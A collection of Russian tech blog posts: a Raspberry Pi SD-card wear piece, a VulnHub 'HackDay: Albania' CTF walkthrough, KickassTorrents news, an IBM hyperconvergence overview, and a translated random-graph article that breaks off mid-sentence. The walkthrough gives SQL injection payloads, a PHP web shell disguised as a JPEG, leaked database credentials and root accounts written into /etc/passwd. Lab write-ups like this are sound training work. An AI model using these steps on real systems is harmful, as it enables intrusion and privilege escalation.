ext4 root partition by f2fs on the Raspberry PI . DISCLAIMER: мною не проверялось. См. также обзор F2FS в одном онлайн-журнале. UPD: Загрузка по сети Пользователь ilmarin77 указал на официальную возможность загружать Прог по сети: Network booting . Появляется зависимость от сервера. Пожалуй, интересно для группы устройств, например, та же система видеотабло на объекте, либо (не очень критичная к отказам) система распределённых датчиков. Диапазон работы проводного модуля USB-Ethernet LAN9514 составляет 0..70°C UPD: Загрузка с USB-накопителя Снова ilmarin77 указал на загрузку с USB: How to boot from a USB Mass Storage Device on a Raspberry Pi 3 . Если загружаться и работать с SSD, подключённого по USB, это будет надёжнее, чем microSD, но со скоростью USB 2.0 (где-то 30-40Мбайт/с, да ещё и в полудуплексе). Мне такая идея не очень нравится, потому что превращает устройство в медленный десктоп. Возможно, лучше загружаться с read-only microSD, но логи и СУБД держать на SSD повышенной надёжности и небольшой ёмкости, чтобы не стоило как деталь самолёта. USB-флэшка потенциально обладает теми же проблемами, что и microSD, и принципиально ничего не меняет. UPD: Сторожевой таймер (watchdog) Пользователь homecreate указал на более простой способ включения сторожевого таймера через systemd , правда, с некоторыми ограничениями. См. также комментарий . UPD: Находится ли моя система в зоне риска? Именно этот вопрос и задаёт себе рациональный читатель. К сожалению, индустрия флэш-памяти для Интернета Вещей только начинает вырабатывать аппаратные механизмы, аналогичные S.M.A.R.T для HDD и SSD. SanDisk, кстати, уже пошёл по этому пути, встроив метрики износа в структуры EXTCSD. И когда нужные стандарты более-менее устаканятся , появится поддержка в ядре Linux и утилиты командной строки. А там, глядишь, и аналог smartd(8) для встраиваемых систем появится. Но получить ответ на вопрос «сколько моя Linux-система записывает на SD-карточку в сутки/неделю» можно уже сейчас, нужно только продержать систему включённой достаточно долго, чтобы статистика получилась точнее (т.е. желателен uptime порядка месяца, или хотя бы 10 дней). Итак, заходим в систему и делаем две команды (без sudo и root): uptime cat /sys/block/mmcblk0/stat | awk '{printf "Uptime read: %.3fMiB (%.1f%% I/Os merged) written: %.3f MiB (%.1f%% I/Os merged)\n", $3*512/1048576, $2/$1*100, $7*512/1048576, $6/$5*100}' Первая в комментариях не нуждается, а вторая напишет объёмы считанных и записанных данных с момента старта системы, в мегабайтах, а также «кучность» запросов. Например, пользователь Meklon в комментариях весьма любезно поделился цифрами медиа-центра, работающего на базе openELEC / KODI . Примерно за 6 дней система считала порядка 72Мб и записала менее 66Мб. Примечательно соотношение чтение/запись близкое к 1:1, что я связываю с использованием SquashFS (она распаковывает файловую систему в ОЗУ и потому SD-карточку почти не трогает даже на чтение). Классические же системы имеют показатель чтение/запись от 5:1 до 10:1, но он может сильно варьироваться. Однако главное в том, что 10Мб в сутки — это существенно меньше автомобильного регистратора, система с такими параметрами весьма долговечна. Но помимо статистического подвоха, в такой методике есть ещё один чисто технологический изъян: запись на флэшку производится не блоками по 512 байт, а страницами неизвестного размера, либо даже целыми erase-блоками мегабайтных размеров. В докладе Optimizations for Cheap Flash Media автора Arnd Bergmann ( ссылка , англ.) сказано довольно много интересного по поводу внутренней «кухни» флэшек, в т.ч. упомянут размер страницы 32КБайт, размер erase-блока 4..8МБайт. И если принять самый неудачный сценарий «кучности» записи, то каждый блок 512 байт вынудит записать одну страницу целый erase-блок, т.е. объём фактически записанных данных получится в 64 раза тысячекратно больше, чем говорит stat . Пользователи в комментариях описывали систему с интенсивностью записи порядка 6ГБайт/мес, которая изнашивает microSD-карточку всего за несколько месяцев. Как только автор наберёт достаточно материала, будет продолжение в отдельной публикации. Ссылки Make Raspbian System Read-Only blog.pi3g.com/2014/04/make-raspbian-system-read-only (источник) How to make RaspberryPi truly read-only, reliable and trouble-free k3a.me/how-to-make-raspberrypi-truly-read-only-reliable-and-trouble-free (без графики) Protect your Raspberry PI SD card, use Read-Only filesystem hallard.me/raspberry-pi-read-only (прислал sisaenkov , улучшенная версия, но тоже без графики) Stopping SD Card Corruption on Raspberry Pi’s Raspbian ideaheap.com/2013/07/stopping-sd-card-corruption-on-a-raspberry-pi (без графики) Raspberry Pi как информационное табло — с помощью VNC на localhost habrahabr.ru/post/212661 Подключение RTC (часы реального времени) к Raspberry Pi raspberrypi.ru/blog/598.html (использует I2C-совместимые часы DS3231) How to boot from a USB Mass Storage Device on a Raspberry Pi 3 www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/msd.md Network booting www.raspberrypi.org/documentation/hardware/raspberrypi/bootmodes/net.md ECIO(TM), a powerful USB programmable single chip computer based on PICmicro microcontroller technology www.matrixtsl.com/product.php?Prod=ECIO28P Easy Raspberry Pi Based Screensaver/Slideshow for Exhibitions/Store Front www.instructables.com/id/Easy-Raspberry-Pi-Based-ScreensaverSlideshow-for-E (у меня вызвал искреннее недоумение шаг 6) Flash memory card design (2013) wiki.linaro.org/WorkingGroups/KernelArchived/Projects/FlashCardSurvey (почему флэшка накрывается гораздо раньше, чем мы ожидаем? польза и вред от оптимизации внутренней логики под FAT; классификация контрафактных продуктов; каталог флэшек 2013г) Optimizing Linux with cheap flash drives, Arnd Bergmann, 2011 lwn.net/Articles/428584 (иллюстрированная статья) Optimizations for Cheap Flash Media, Arnd Bergmann, 2011 free-electrons.com/blog/elce-2011-videos (видео выступления на английском, запись любительская, но интересная) SD Association, Simplified Specifications, Part 1 Simplified: Physical Layer Simplified Specification www.sdcard.org/downloads/pls/index.html Block layer statistics in /sys/block/<dev>/stat www.kernel.org/doc/Documentation/block/stat.txt (как оценить износ SD-карточки с момента запуска системы: запустите cat /sys/block/mmcblk0/stat и потом сразу uptime )
https://geektimes.ru/post/283802/
habrahabr
VulnHub Разбор HackDay: Albania
['vulnhub', 'ctf', 'hackday', 'write-up', 'vulnerability']
Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania. К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF This was used in HackDay...
Продолжаем разбор лаб с VulnHub . На этот раз займемся HackDay: Albania . К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF This was used in HackDay Albania's 2016 CTF. The level is beginner to intermediate. It uses DHCP. Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox. Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно. Начнём Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты: sudo nmap 192.168.1.1-255 -sV Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 00:03 MSK Nmap scan report for 192.168.1.44 Host is up (0.0013s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 8008/tcp open http Apache httpd 2.4.18 ((Ubuntu)) MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Переходим по 192.168.1.44 :8008 видим всплывающее окно И коммент в коде страницы: OK ok, por jo ketu :) Посмотрим содержимое файла robots.txt robots.txt Disallow: /rkfpuzrahngvat/ Disallow: /slgqvasbiohwbu/ Disallow: /tmhrwbtcjpixcv/ Disallow: /vojtydvelrkzex/ Disallow: /wpkuzewfmslafy/ Disallow: /xqlvafxgntmbgz/ Disallow: /yrmwbgyhouncha/ Disallow: /zsnxchzipvodib/ Disallow: /atoydiajqwpejc/ Disallow: /bupzejbkrxqfkd/ Disallow: /cvqafkclsyrgle/ Disallow: /unisxcudkqjydw/ Disallow: /dwrbgldmtzshmf/ Disallow: /exschmenuating/ Disallow: /fytdinfovbujoh/ Disallow: /gzuejogpwcvkpi/ Disallow: /havfkphqxdwlqj/ Disallow: /ibwglqiryexmrk/ Disallow: /jcxhmrjszfynsl/ Disallow: /kdyinsktagzotm/ Disallow: /lezjotlubhapun/ Disallow: /mfakpumvcibqvo/ Disallow: /ngblqvnwdjcrwp/ Disallow: /ohcmrwoxekdsxq/ Disallow: /pidnsxpyfletyr/ Disallow: /qjeotyqzgmfuzs/ Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html , с вот такой картинкой: background.jpg Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch. Запускаем: sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg После перехода в эту директорию в браузере видим такой ответ: IS there any /vulnbank/ in there ??? Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации: Проверяем наличие sql инъекций: sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3 И получаем ответ: sqlmap resumed the following injection point(s) from stored session: — Parameter: username (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))-- pSKE&password=admin Type: AND/OR time-based blind Title: MySQL >= 5.0.12 RLIKE time-based blind Payload: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users . Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin И нас неожиданно редиректит в профиль какого-то пользователя: Скрытый текст Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение: After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc... Ок, создаём файл shell.jpg <?php system($_GET['cmd']); ?> Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке: 192.168.1.44 :8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id . Но вместо заветного шела получаем сообщение: Warning: system(): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1 Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды. Плюшки при работе с php shell Заливаем через форму отправки тикетов шелл b374k Запускаем BurpSuite и настраиваем там правило: P.S. без него BurpSuite каждый раз будет к запросу view_file.php?filename=myShell.jpg добавлять ?filename=myShell.jpg что приведёт к ошибкам. Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php . Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44 :8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php Можем вытянуть из БД клиентов и их пароли: Скрытый текст function execute_query($sql){ $db_host = "127.0.0.1"; $db_name = "bank_database"; $db_user = "root"; $db_password = "NuCiGoGo321"; $con=mysqli_connect($db_host,$db_user,$db_password,$db_name); if(mysqli_connect_errno()){ echo "Failed to connect to MySQL: " . mysqli_connect_error(); die(0); } $response = mysqli_query($con,$sql); mysqli_close($con); return $response; } $result = execute_query("SELECT * FROM klienti;"); while($row = $result->fetch_assoc()) { print_r($row); } Просматривая файлы и директории обнаруживаем такую запись: passwd 1.58 KB root:root -rw-r--rw- 22-Oct-2016 17:21:42 Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin: openssl passwd -1 -salt admin admin Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh. Коннектимся по ssh под пользователем gh0st3rs , далее выполняем команду su admin И после ввода пароля, получаем root привилегии на этой виртуальной машине Дело за малым, осталось найти флаг. root@hackday:/# find / -name "*flag*" root@hackday:/# cat /root/flag.txt Urime, Tani nis raportin! d5ed38fdbf28bc4e58be142cf5a17cf5 root@hackday:/# P.S. После расшифровки, узнаём что флаг это md5 от rio
https://habrahabr.ru/post/317822/
habrahabr
Инкарнация KickassTorrents заработала под руководством прежней команды
['kickasstorrents', 'торрент-трекеры', 'правообладатели']
В июле этого года был закрыт крупнейший на тот момент торрент-трекер KickassTorrents. Посещаемость сайта составляла более миллиона человек в день. Месячная же аудитория летом достигала 50...
В июле этого года был закрыт крупнейший на тот момент торрент-трекер KickassTorrents. Посещаемость сайта составляла более миллиона человек в день. Месячная же аудитория летом достигала 50 миллионов человек. По этому показателю ресурс превосходил даже самый, пожалуй, известный торрент-трекер в мире — The Pirate Bay. Власти США с подачи правообладателей уже много лет борются с торрент-трекерами, несколько месяцев назад правоохранители занялись и KickassTorrents. Причем речь шла не только о блокировке или разделегировании домена. В июле арестовали и владельца ресурса — 30-летнего гражданина Украины Артема Ваулина. Арест произошел в Польше, и США сразу потребовали экстрадиции «пирата». По мнению правоохранителей, Ваулин виновен в противозаконном распространении защищенных авторским правом материалов, убыток оценивается в $1 млрд. Дело было крупным, за его продвижением следил даже Генеральный прокурор США. Его помощник после ареста Ваулина заявил следующее: «Его арест в Польше… снова доказывает, что киберпреступники могут убежать, но не могут скрыться от правосудия». Документы дела доступны по этой ссылке . KickassTorrents начал работать в 2008 году, и за несколько лет он стал одним из крупнейших торрент-трекеров в мире, а спустя еще несколько лет — самым крупным. На популярность ресурса положительным образом повлияло преследование властями разных стран и борцами с «пиратами» команды The Pirate Bay. Домены у этого торрент-трекера постоянно менялись, сайт иногда просто «лежал», и часть аудитории «Бухты» перешла на KickassTorrents. Сейчас стало известно о том, что KickassTorrents может возродиться в прежнем обличье. Причем возрождением займется оригинальная команда, которая и занималась его развитием в лучшие годы ресурса. Члены команды сначала запустили форум Katcr.co, объявив этот домен новым домом для торрент-трекера. Сегодня (вернее, вчера) Katcr.co (KATcr) начал работать, причем дизайн и содержимое ресурса ничем не отличается от KickassTorrents. Единственное отличие — база пользователей чиста, в ней есть лишь знакомые постоянным посетителям ресурса члены администрации. «Большая часть оригинальной команды, включая администраторов и модераторов, присоединилась к нам… — мы этому очень рады», — заявили авторы проекта журналистам TorrentFreak. Интересным моментом является то, что люди, стоящие за KATcr, не имели доступа к оригинальному коду и данным торрент-трекера. Но у них получилось создать аналогичный дизайн и собрать вместе торренты с прежнего сайта. Так что любой завсегдатай KickassTorrents (KAT) почувствует себя на новом сайте, как дома. Некоторые пользователи уже прочно обосновались там. Речь идет о наиболее «производительных» аплоадерах, которые загружают на ресурс все новые и новые материалы. Ну, а загрузка — простой процесс. Новая администрация заявила, что безопасность сообщества для нее — приоритет номер один. Остается главный вопрос — как отнесутся правообладатели к возродившемуся KickassTorrents. Удивительно, но создатели сайта считают, что никаких проблем не будет. Дело в том, что на торрент-трекере работает система с DMCA, как на YouTube. То есть, правообладатель может удалить с ресурса материал, который, по мнению компании, нарушает авторские права. Администрация ресурса также заявляет, что на серверах не хранятся данные по контенту, ссылки на который указываются в топиках трекера. «КАТ — это общественный форум и поисковый сервис по торрент-трекерам. Это — то, что мы есть, и мы не изменимся. Несмотря на противоположное мнение, торренты не являются нелегальными, а мы не размещаем у себя контент», — говорится в заявлении администрации. Также руководство нового проекта заявило о том, что политика ресурса целиком и полностью соответствует букве закона, поэтому сам сайт чист перед законом. За последние несколько месяцев появилось несколько различных ресурсов, которые объявляли себя реинкарнацией оригинального KickassTorrents. На самом деле, лишь KATcr можно считать новым KickassTorrents, и то с натяжкой. Владельца оригинального трекера власти США вычислили при помощи метода «подсадной утки». Один из работников правоохранительных органов выступил в роли рекламодателя. Он купил рекламу на сайте и узнал счет банка, связанного с ресурсом. Затем был сделан еще один заказ, и власти США без проблем узнали новый счет, связанный с ним. Чуть позже этот же правоохранитель узнал электронный адрес того человека, кто управлял счетами, и им оказался Артем Ваулин. Что касается нового ресурса, то вот уже несколько часов он не работает. Точнее, загружается всего одна страница, где говорится о проблемах со слишком большим количеством посетителей — видимо, администрация была не готова к такому количеству пользователей, желающих увидеть возрожденный KickassTorrents.
https://geektimes.ru/post/283812/
habrahabr
Раскладываем новые тренды в ИТ-инфраструктуре по полочкам: что такое scale-out, web-scale, гиперконвергентность
['термины в ит', 'гиперконвергенция', 'IBM']
Можно ли ожидать open source в «железе»? Владимир Алексеев, IBM В последние несколько лет на рынке аппаратного обеспечения идут активные дискуссии на тему гиперконвергентности, ухода в...
Можно ли ожидать open source в «железе»? Владимир Алексеев, IBM В последние несколько лет на рынке аппаратного обеспечения идут активные дискуссии на тему гиперконвергентности, ухода в сторону горизонтально-масштабируемых систем и web-scale ИТ, программно-определяемых решений. Ниже мы постараемся разобраться, как все эти вещи связаны между собой, и какие подходы можно использовать для каких задач. Разбираемся с терминологией Scale-up и scale-out системы Итак, начнем с разделения всех систем на два типа, в зависимости от обеспечения масштабируемости: scale-out и scale-up. Вертикально-масштабируемые системы (scale-up) появились на рынке раньше и были представлены изначально мейнфреймами, а затем уже и системами RISC-архитектуры процессора (системы IBM Power, Oracle SPARC и др.). Горизонтально-масштабируемые системы (scale-out) появились значительно позже, и их рассвет связан с распространением архитектуры х86. Scale-out архитектура характерна наличием большого числа небольших серверов, на которых распределена прикладная задача. Несмотря на кардинально противоположные идеи, scale-up и scale-out подходы очень часто комбинируют в рамках одной системы, к примеру база данных располагается на вертикально-масштабируемом аппаратном обеспечении, а сервер приложений – на горизонтально-масштабируемом. Гиперконвергентность Но все эти методы и подходы уже давно известны рынку и применяются практически повсеместно. Несмотря на продолжающееся развитие вертикально-масштабируемых систем, именно в рамках scale-out подхода появилось большое число различных направлений, куда входят и обсуждаемые, и используемые все больше и больше гиперконвергентные системы. Что же это за системы и какими свойствами они обладают? В первую очередь, гиперконвергентность означает объединение или интеграцию всех аппаратных компонентов (серверов, систем хранения данных и сети) в один конструктив. Во-вторых, гиперконвергентность означает обязательное наличие программных компонентов в решении для реализации вопросов отказоустойчивости и надежности. Это программный слой называют также уровнем аппаратных абстракций или, в более простых терминах, это уровень виртуализации аппаратных ресурсов. Здесь с гиперконвергентностью тесно связана концепция «software-defined environment» или программно-определяемых сред. Концепция означает наличие виртуализированных ресурсов на каждом уровне (серверы, системы хранения данных, сеть), а функции управления полностью автоматизированы на программном уровне. Таким образом, за счет использования подходов программно-определяемых сред, удается объединить физически разделенные гиперконвергентные системы в единый виртуальный пул ресурсов. Не нужно считать, что программно-определяемую инфраструктуру можно построить только на основе гиперконвергентных систем – это не так. Наоборот, невозможно построить надежную ИТ инфраструктуру на базе гиперконвергентных решений без использования подходов программно-определяемых сред. Список вендоров, выпускающих гиперконвергентные системы, широк, в него входят как и известные бренды, так и компании, сделавшие себе имя именно на таких решениях. Для чего стоит использовать гиперконвергентные системы? Одним из ключевых свойств ИТ инфраструктуры, построенной на гиперконвергентных системах, является унификация и стандартизация используемых компонентов. Получается, что инфраструктура построена на однотипных преконфигурируемых блоках, связанных друг с другом на уровне виртуализации ресурсов. Так как блоки универсальные, то их легко заменять в случае отказов или дополнять при увеличении рабочей нагрузки. Получается, гиперконвергентные решения эффективно использовать для массы небольших некритичных для бизнеса задач, где не требуется глубокая оптимизация систем, но необходимо обеспечить отказоустойчивость. В этом случае удобно иметь унифицированную инфраструктуру, состоящую из одинаковых блоков. Дезагрегация и варианты ее использования Дезагрегация – прямое противопоставление гиперконвергенции. Если конвергенция означает интеграцию компонентов, то дезагрегация разделяет их. Для чего это делается? Гиперконвергентность не позволяет создать оптимальную инфраструктуру для каждой задачи в отдельности. Именно на решение этой задачи оптимизации и направлена дезагрегация. В рамках этой парадигмы создаются решения, где ресурсы хранения (память и диски), к примеру, могут быть конструктивно отделены от ресурсов вычисления (процессоры). В ряде задач, например, для вычислений в памяти (in-memory computing), этот подход может быть оправдан и дать больше преимуществ по сравнению с гиперконвергенцией. Web-scale ИТ Данный термин введен Gartner в 2014 году и означает новый подход к построению архитектуры ИТ-систем, позволяющий реализовывать возможности больших облачных провайдеров услуг в рамках классической организации 1 . Аналитики отмечают, что web-scale ИТ есть реализация подходов ведущих web-компаний к построению ИТ-инфраструктуры. По факту подход должен включать в себя все те преимущества, которыми обладают указанные компании: низкое время вывода продуктов на рынок, возможность проведения большого числа изменений в сжатые сроки, использование открытого аппаратного и программного обеспечения, концепций Agile и DevOps. Главным отличием от гиперконвергентных решений, к которым многие относят и web-scale, является реализация отказоустойчивости на уровне программного обеспечения. Подход web-scale также делает необходимым глубокую оптимизацию кода под аппаратное обеспечение. Это означает отказ от любых технологий виртуализации, так как это вносит дополнительный слой взаимодействия (и, потенциально, задержки) с «железом». Аппаратное обеспечение, в свою очередь, создается с учетом архитектуры ПО. Так как к web-scale относят, в первую очередь, компаний-гигантов web-индустрии (Google и Facebook), то их масштаб позволяет создавать специальные конструктивы серверов специально под них. К примеру, Google использует в своих серверах дополнительную двенадцативольтовую батарейку 2 . Аппаратное обеспечение, используемое в рамках web-scale, может быть и интегрированным (как и в случае с гиперконвергентными системами), а может быть и разделенным на компоненты (идея дезагрегации) – все зависит от прикладной задачи. Важно, что использование интегрированных конструктивов не означает гиперконвергентную инфраструктуру в рамках web-scale. Причиной этому являются различия в обеспечении надежности: для гиперконвергентных систем это виртуализация, для web-scale – реализация на уровне программного обеспечения и отсутствие виртуализации. Ускоренные ИТ – новый тренд индустрии Если подходы к построению горизонтально-масштабируемых систем можно назвать третьей волной революции ИТ инфраструктуры (первая – мейнфреймы, затем клиент-серверная архитектура), то ускоренные вычисления по праву могут стать четвертой революцией на рынке. Смысл ускоренных ИТ (прямой перевод ”accelerated”) заключается в использовании аппаратных ускорителей (например, плат GPU или FPGA) для повышения производительности работы систем. Почему стоит использовать ускорители? Во-первых, не все задачи можно распараллелить: к примеру, биржевые системы работают в один поток. И в большинстве случаев биржевые системы достигли потолка производительности текущих аппаратных комплексов. GPU-ускорители могут дать им новый уровень скорости вычислений, превышающий в разы текущие показатели. Во-вторых, существенная часть повышения производительности серверов от поколения к поколению лежит на процессоре. А технологический процесс производства процессоров имеет свои ограничения: сейчас используется 14 нм, компания IBM анонсировала возможность использования 7 нм 3 . Что будет дальше? Очевидно, что предел наступит не завтра, но в обозримом будущем. Таким образом, компании лишаются стандартного прироста производительности на 20-30% с выходом нового поколения процессоров. А нагрузки на систему продолжают расти. И что делать дальше? Ответ – использовать ускорители. Несмотря на то, что сейчас GPU используются, как правило, больше для задач из области HPC (High Performance Computing), есть ряд областей, где такие системы могут быть востребованы и коммерческими организациями уже сейчас. В первую очередь – аналитические системы, в особенности deep learning (глубокое обучение). Это задачи построения многоуровневых нейронных сетей, где их прикладным использованием может быть обработка изображений, распознавание речи и работа с текстом. Также GPU могут быть крайне эффективны для задач виртуализации рабочих мест (VDI). Консорциум OpenPOWER Стоит отметить, что создание аппаратных решений в области “accelerated” ИТ являлось одной из основных идей формирования консорциума OpenPOWER. Что это за организация? В 2013 году компании Google, IBM, NVIDIA, Mellanox, Tyan создали глобальный открытый консорциум разработчиков решений на базе архитектуры процессора Power Целью консорциума является создание открытой экосистемы с использованием архитектуры Power для обмена опытом, инвестициями и интеллектуальной собственностью в области построения серверных решений. Во многом эта идея похожа на концепцию открытого программного обеспечения – opensource software. На текущий момент в консорциум OpenPOWER входит более 200 организаций из более чем 20 стран мира, в том числе четыре российских участника. Идея OpenPOWER создала некий парадокс современности: процессор Power становится открытым, Intel – наоборот, более закрытым. В чем это проявляется? OpenPOWER создает открытую экосистему партнеров, которые тесно работают друг с другом для создания специальных решений с использованием со-процессоров, графических ускорителей и средств интеграции с ними. Intel, напротив, приобрел компанию Altera, занимающуюся производством программируемых чипов (FPGA) 4 , Компания также выпустила свою технологию со-процессоров 5 , которая по факту является конкурентом технологии графических ускорителей от NVIDIA. Идея OpenPOWER кардинально противоположна – это совместная работа нескольких компаний. В рамках консорциума возможен выпуск процессоров Power на базе спецификаций, предоставляемых IBM. К примеру, китайская компания Suzhou PowerCore Technology уже планирует к выпуску процессор CP1, сделанный на основе IBM Power 8 6 . В любом случае, какой бы из этих подходов не оказался более эффективным, идея ускоренных вычислений (accelerated ИТ) реализуется в обоих случаях. Куда идет индустрия? Выводы Что можно сказать в завершение? Несмотря на большое число разговоров про web-scale ИТ, эта концепция не является революционно новой на рынке. Это уже настоящее: многие организации уже работают над тем, как совмещать в своей ИТ среде разные подходы: вертикально- и горизонтально- масштабируемые системы. Ускоренные ИТ – вот будущее индустрии, которое сейчас только-только начинает ощущать интерес со стороны корпоративного сектора.
https://habrahabr.ru/company/ibm/blog/317844/
habrahabr
Гигантская компонента: крючки для рыбалки, скопления галактик, молекулярная биотехнология, наноматериалы
['математика', 'алгоритмы', 'свойство вселенной', 'edisonsoftware']
Занимаясь переводами Кнута, я наткнулся на упоминание очень интересного свойства нашей вселенной. Рождение гигантской компоненты. Каждый встречался с этим феноменом. Я, например, помню коробочки с...
Занимаясь переводами Кнута, я наткнулся на упоминание очень интересного свойства нашей вселенной. Рождение гигантской компоненты . Каждый встречался с этим феноменом. Я, например, помню коробочки с рыболовными крючками. Когда крючков было 5-15 все нормально, но есть определенная критическая масса, после которой получался единый комок. Интуитивно я чувствую, что это очень важный феномен, который проявляется во многих дисциплинах — от теории информации, до молекулярной химии и биотехнологии. Предлагаю вашему вниманию перевод легкой и наглядной статьи на эту тему. Слово Brian Hayes. Ненужным продуктом моего проекта, сканирующего документы, является куча извлеченных скоб. На днях я сделал открытие: если вы захватите одну из выброшенных скоб и поднимите ее, целый клубок спутанного искореженного металла поднимется вслед за ней, оставляя лишь пару скоб на дне чаши. Когда я заметил это, я сначала подумал «Хм, это забавно». Потом «О, конечно: Erdős-Rényi». А третей мыслью… ну я все еще работаю над ней, а еще над четвертой, пятой и шестой. Erdős и Rényi это Paul Erdős и Alfréd Rényi, которые написали большую работу по «Эволюции Случайных Графов» 50 лет назад (Публикации Математического Института венгерской Академии наук, 1960, 5:17–61). Их статья не была вполне дебютным появлением случайных графов в математической литературе, но считается оригиналом происхождения теории. В одной версии процесса Erdős-Rényi вы начинаете с множества изолированных вершин n и затем добавляете случайные ребра по одному; в частности, на каждом этапе вы выбираете две любые вершины из числа всех пар, которые уже не соединены, и затем рисуете ребро между ними. Оказывается, драматическая перемена в природе графов происходит, когда количество граней достигает n/2. Ниже этого порога граф состоит из множества мелких, изолированных компонентов; выше n/2 фрагменты сливаются в одну гигантскую компоненту, которая включает в себя почти все вершины. «Рождение гигантской компоненты» было позже описано более подробно в еще большей статье — она охватила весь вопрос случайных структур и алгоритмов (1993, 4:233-358) и была написана Сванте Янсоном, Дональдом Кнутом, Томашем Луцакой и Борисом Питтелем. Что заставило меня подумать о связи между графами Erdős-Rényi и клубком скоб? У меня на уме было что-то вроде длинная, прямая, средняя часть скобы соответствует ребру графа, а изогнутые части, которые могут сцепиться друг с другом, являются вершинами. Таким образом, одна скоба это граф, состоящий из двух вершин, соединенных по одному краю. Когда две скобы соединены, две их вершины сливаются, и остается связный граф из трех вершин и двух ребер. Так как каждая скоба дает одно ребро и самое большее две вершины графу, количество ребер должно быть равно, по крайней мере, половине количества вершин. Таким образом, граф всегда превышает порог, когда образуется гигантская компонента, по данным Erdős и Rényi. С вычислительной частью этого анализа кажется все ясно, но я боюсь, что остальное не так просто понять. Независимо от того, что происходит в скобочном шаре, эволюция системы не очень хорошо смоделирована процессом Erdős-Rényi, добавляющим грани к фиксированному набору вершин. Вместо этого каждая скоба дает 2 грани и 2 вершины. Переломный момент, который заставляет пучок скоб держаться вместе — это слияние вершин, когда скобы скрепляются; в процессе Erdős-Rényi нет подобного слияния. Основная проблема здесь состоит в том, что графы Erdős-Rényi чисто топологические — нет никакого понятия расстояния, и любые две вершины могут иметь ребро, соединяющее их. Но у графа скоб есть важные геометрические ограничения. Две вершины могут быть соединены ребром, только если расстояние между ними примерно равно длине скобы. Геометрическая структура предполагает попытки построения различного рода моделей — возможно, то, что описывает молекулярное строение жидкостей и твердых веществ. Молекулы воды, например, связаны друг с другом сетью водородных связей; каждый атом водорода в одной молекуле может иметь связь с атомом кислорода другой молекулы. Но связи не могут распространяться на произвольные расстояния; они распространяются только между соседними молекулами. В результате была получена трехмерная структура, основной мотив которой представляет собой тетраэдр с атомом кислорода в центре и атомами водорода в четырех углах. (Существует также схема двумерной модели, известной как площадь льда). Мы можем представить, как что-то подобное происходит со скобами, где два отогнутых конца могут образовывать водородные связи как связь с другими близлежащими скобами. Но с такими химическими элементами тоже есть проблема. У атомов есть фиксированная валентность (более или менее – давайте не придираться); у воды, например, каждый атом водорода может сформировать водородную связь только с одним атомом кислорода. Но у нас нет оснований полагать, что крючковатые концы скоб могут цеплять только один край другой скобы. На самом деле, если бы такое ограничение имело место быть, то скобы могли бы сформировать только цепи и кольца, не плотные скопления. При близком рассмотрении скопления скоб легко найти места, где три или более скобы сцеплены вместе в одной и той же точке. Аккуратно заглянув вглубь скопления скоб, я нашел скобу, к которой цеплялись, по меньшей мере, шесть других скрепок. Еще один физический процесс, который мог бы предоставить модель для основного графа, является агрегацией ограниченного распространения. Это — механизм, ответственный за филигранный узор. Это произведено липкими частицами, которые дрейфуют случайным образом пока не наткнутся на основание или пока не коснутся другой частицы, которая уже находится в контакте (прямо или косвенно) с основанием. Другим фактором, который необходимо учитывать, является тот факт, что пространственные размеры, несомненно, важны здесь. С одной стороны это дает просто больше возможностей маневрировать в трех измерениях, больше возможностей для того, чтобы прицепиться к соседу. Но конкретно в случае со скобами другая причина: будучи прикованными к плоскости, им тяжело соединяться. Разбросанные на плоской доске они отказываются сворачиваться, даже когда крутятся энергично. Причина, по-видимому, состоит в том, что безопасные соединения формируются только, когда скобы могут повернуться на 90 градусов и сцепиться. В этой связи представляется важным, что используются скобы, довольно разнообразные по форме, с 